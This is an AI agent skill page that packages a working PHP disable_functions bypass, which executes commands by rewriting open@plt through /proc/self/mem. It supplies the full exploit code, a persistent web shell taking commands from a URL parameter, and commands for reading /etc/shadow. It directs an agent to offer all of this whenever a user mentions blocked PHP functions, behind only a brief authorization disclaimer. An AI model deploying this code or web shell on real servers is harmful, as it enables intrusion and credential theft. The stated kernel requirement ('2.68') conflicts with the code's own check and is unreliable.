# PHP Disable Functions Bypass

> Bypass PHP disable_functions restriction using /proc/self/mem manipulation. Use this skill whenever the user needs to execute disabled PHP functions (like system(), exec(), shell_exec()) in a restricted environment, mentions PHP function restrictions, or is performing authorized security testing on PHP applications. This technique works on Linux x64 with PHP-CGI/FPM and kernel >= 2.68.

- Skill: `abelrguezr/php-disable-functions-bypass` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/php-disable-functions-bypass`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/php-disable-functions-bypass/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/php-disable-functions-bypass

---


# PHP disable_functions Bypass via /proc/self/mem

## Overview

This skill provides a technique to bypass PHP's `disable_functions` configuration by directly manipulating the process memory through `/proc/self/mem`. This allows execution of disabled functions like `system()`, `exec()`, `shell_exec()`, etc.

## Prerequisites

**All conditions must be met:**

1. **Kernel version >= 2.68** - Required for `/proc/self/mem` access
2. **PHP-CGI or PHP-FPM** - mod_php does not read `/proc/self/mem`
3. **x64 architecture** - The exploit is written for x64 (x32 requires modification)
4. **open_basedir=off OR bypass available** - Must be able to read `/lib/` and `/proc/` directories
5. **Write access to `/proc/self/mem`** - The process must have permission to write to its own memory

## When to Use This Skill

- User reports `system()`, `exec()`, or similar functions are disabled in PHP
- Security testing on PHP applications with function restrictions
- Need to execute system commands from restricted PHP environment
- PHP `disable_functions` directive is blocking required functionality

## How It Works

The exploit works by:

1. **Parsing the PHP binary** to find the `open@plt` offset
2. **Parsing libc** to find `system` and `open` symbol offsets
3. **Reading `/proc/self/mem`** to get the actual address of `open@plt`
4. **Calculating libc base** from the `open` address
5. **Calculating system address** using libc base + system offset
6. **Writing to `/proc/self/mem`** to replace `open@plt` with `system` address
7. **Calling `readfile()`** which now executes `system()` instead

## Exploit Code

Save this as `disable_functions_bypass.php`:

```php
<?php
/*
PHP disable_functions bypass via /proc/self/mem
Author: Beched, RDot.Org
Source: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

Requirements:
1. kernel >= 2.68
2. PHP-CGI or PHP-FPM (mod_php does not read /proc/self/mem)
3. x64 architecture (x32 requires modification)
4. open_basedir=off (or ability to bypass open_basedir to read /lib/ and /proc/)
*/

function packlli($value) {
    $higher = ($value & 0xffffffff00000000) >> 32;
    $lower = $value & 0x00000000ffffffff;
    return pack('V2', $lower, $higher);
}

function unp($value) {
    return hexdec(bin2hex(strrev($value)));
}

function parseelf($bin_ver, $rela = false) {
    $bin = file_get_contents($bin_ver);
    $e_shoff = unp(substr($bin, 0x28, 8));
    $e_shentsize = unp(substr($bin, 0x3a, 2));
    $e_shnum = unp(substr($bin, 0x3c, 2));
    $e_shstrndx = unp(substr($bin, 0x3e, 2));
    
    for($i = 0; $i < $e_shnum; $i += 1) {
        $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
        if($sh_type == 11) { // SHT_DYNSYM
            $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
        elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
            $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
        }
        elseif($rela && $sh_type == 4) { // SHT_RELA
            $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
    }
    
    if($rela) {
        for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
            $r_offset = unp(substr($bin, $i, 8));
            $r_info = unp(substr($bin, $i + 8, 8)) >> 32;
            $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == 'open') {
                return $r_offset;
            }
        }
    }
    else {
        for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
            $name_off = unp(substr($bin, $i, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == '__libc_system') {
                $system_offset = unp(substr($bin, $i + 8, 8));
            }
            if($name == '__open') {
                $open_offset = unp(substr($bin, $i + 8, 8));
            }
        }
        return array($system_offset, $open_offset);
    }
}

echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";

// Check architecture
if(strpos(php_uname('a'), 'x86_64') === false) {
    echo "[-] This exploit is for x64 Linux. Exiting\n";
    exit;
}

// Check kernel version
if(substr(php_uname('r'), 0, 4) < 2.98) {
    echo "[-] Too old kernel (< 2.98). Might not work\n";
}

echo "[*] Trying to get open@plt offset in PHP binary\n";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
    echo "[-] Failed to find open@plt. Exiting\n";
    exit;
}
echo '[+] Offset is 0x' . dechex($open_php) . "\n";

// Find libc location
$maps = file_get_contents('/proc/self/maps');
preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
echo "[*] Libc location: $r[1]\n";

echo "[*] Trying to get open and system symbols from Libc\n";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
    echo "[-] Failed to find symbols. Exiting\n";
    exit;
}
echo "[+] Got them. Seeking for address in memory\n";

// Read open@plt address from memory
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, $open_php);
$open_addr = unp(fread($mem, 8));
echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n";

// Calculate addresses
$libc_start = $open_addr - $open_offset;
$system_addr = $libc_start + $system_offset;
echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n";

echo "[*] Rewriting open@plt address\n";
$mem = fopen('/proc/self/mem', 'wb');
fseek($mem, $open_php);
if(fwrite($mem, packlli($system_addr))) {
    echo "[+] Address written. Executing cmd\n";
    // Now readfile() will execute system() instead
    readfile('/usr/bin/id');
    exit;
}
echo "[-] Write failed. Exiting\n";
?>
```

## Usage Examples

### Basic Execution

```bash
# Upload the exploit file
php disable_functions_bypass.php

# Or via web if accessible
http://target/disable_functions_bypass.php
```

### Custom Command Execution

Modify the last line to execute different commands:

```php
// Instead of:
readfile('/usr/bin/id');

// Use:
readfile('/bin/ls');
readfile('/etc/passwd');
readfile('/bin/cat /etc/shadow');
```

### Web Shell Integration

For persistent access, create a web shell:

```php
<?php
// Include the bypass code first, then:
if(isset($_GET['cmd'])) {
    readfile($_GET['cmd']);
}
?>
```

## Verification Commands

Before attempting the exploit, verify prerequisites:

```bash
# Check kernel version
uname -r

# Check PHP SAPI
php -r 'echo php_sapi_name();'

# Check architecture
php -r 'echo php_uname("a");'

# Check if /proc/self/mem is accessible
php -r 'var_dump(file_exists("/proc/self/mem"));'

# Check disable_functions
php -i | grep disable_functions
```

## Troubleshooting

| Issue | Solution |
|-------|----------|
| "Failed to find open@plt" | PHP binary may be stripped or use different linking |
| "Write failed" | Process lacks write permission to /proc/self/mem |
| "Too old kernel" | Kernel < 2.68 does not support this technique |
| "This exploit is for x64" | Modify code for x32 architecture |
| "open_basedir restriction" | Need to bypass open_basedir first |

## Alternative Techniques

If this bypass fails, consider:

1. **PHP filter wrappers** - `php://filter` for encoding bypass
2. **Object injection** - PHP object deserialization exploits
3. **Extension loading** - `dl()` if not disabled
4. **SUID binaries** - Setuid PHP binaries
5. **Source code injection** - Write and include PHP files

## Security Notes

⚠️ **AUTHORIZED USE ONLY** - This technique should only be used:
- On systems you own or have explicit permission to test
- During authorized penetration testing engagements
- For educational purposes in controlled environments

⚠️ **DETECTION** - This technique may be detected by:
- File integrity monitoring (FIM) on /proc/self/mem access
- Process monitoring tools
- SELinux/AppArmor policies
- Intrusion detection systems (IDS)

## References

- [Original Blog Post](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
- [PHP disable_functions Documentation](https://www.php.net/manual/en/ini.core.php#ini.disable-functions)
- [Linux /proc Filesystem](https://man7.org/linux/man-pages/man5/proc.5.html)

## Test Cases

### Test Case 1: Basic Bypass
**Prompt:** "PHP has disable_functions enabled blocking system(). How can I execute commands?"
**Expected:** Skill triggers, provides exploit code with prerequisites

### Test Case 2: Security Testing Context
**Prompt:** "I'm doing authorized pentesting on a PHP app. The server has exec() disabled. What bypass techniques exist?"
**Expected:** Skill triggers, provides this technique with authorization warnings

### Test Case 3: Prerequisites Check
**Prompt:** "Can I use /proc/self/mem bypass on PHP-FPM with kernel 3.10?"
**Expected:** Skill triggers, confirms prerequisites are met

